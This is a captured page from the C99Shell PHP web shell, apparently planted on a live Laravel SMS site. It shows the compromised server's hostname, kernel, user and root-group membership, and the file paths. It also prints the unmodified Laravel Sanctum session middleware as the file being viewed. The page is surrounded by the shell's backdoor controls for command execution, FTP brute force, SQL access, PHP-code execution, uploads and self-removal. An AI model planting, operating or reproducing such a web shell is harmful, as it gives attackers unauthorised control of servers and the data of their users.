!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/sanctum/src/Http/Middleware/   drwxr-xr-x
Free 28.44 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthenticateSession.php (2.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Sanctum\Http\Middleware;

use 
Closure;
use 
Illuminate\Auth\AuthenticationException;
use 
Illuminate\Auth\SessionGuard;
use 
Illuminate\Contracts\Auth\Factory as AuthFactory;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Symfony\Component\HttpFoundation\Response;

class 
AuthenticateSession
{
    
/**
     * The authentication factory implementation.
     *
     * @var \Illuminate\Contracts\Auth\Factory
     */
    
protected $auth;

    
/**
     * Create a new middleware instance.
     *
     * @param  \Illuminate\Contracts\Auth\Factory  $auth
     * @return void
     */
    
public function __construct(AuthFactory $auth)
    {
        
$this->auth $auth;
    }

    
/**
     * Handle an incoming request.
     *
     * @param  \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response)  $next
     *
     * @throws \Illuminate\Auth\AuthenticationException
     */
    
public function handle(Request $requestClosure $next): Response
    
{
        if (! 
$request->hasSession() || ! $request->user()) {
            return 
$next($request);
        }

        
$guards Collection::make(Arr::wrap(config('sanctum.guard')))
            ->
mapWithKeys(fn ($guard) => [$guard => $this->auth->guard($guard)])
            ->
filter(fn ($guard) => $guard instanceof SessionGuard);

        
$shouldLogout $guards->filter(
            fn (
$guard$driver) => $request->session()->has('password_hash_'.$driver)
        )->
filter(
            fn (
$guard$driver) => $request->session()->get('password_hash_'.$driver) !==
                                    
$request->user()->getAuthPassword()
        );

        if (
$shouldLogout->isNotEmpty()) {
            
$shouldLogout->each->logoutCurrentDevice();

            
$request->session()->flush();

            throw new 
AuthenticationException('Unauthenticated.', [...$shouldLogout->keys()->all(), 'sanctum']);
        }

        return 
tap($next($request), function () use ($request$guards) {
            if (! 
is_null($request->user())) {
                
$this->storePasswordHashInSession($request$guards->keys()->first());
            }
        });
    }

    
/**
     * Store the user's current password hash in the session.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  string  $guard
     * @return void
     */
    
protected function storePasswordHashInSession($requeststring $guard)
    {
        if (! 
$request->user()) {
            return;
        }

        
$request->session()->put([
            
"password_hash_{$guard}=> $request->user()->getAuthPassword(),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--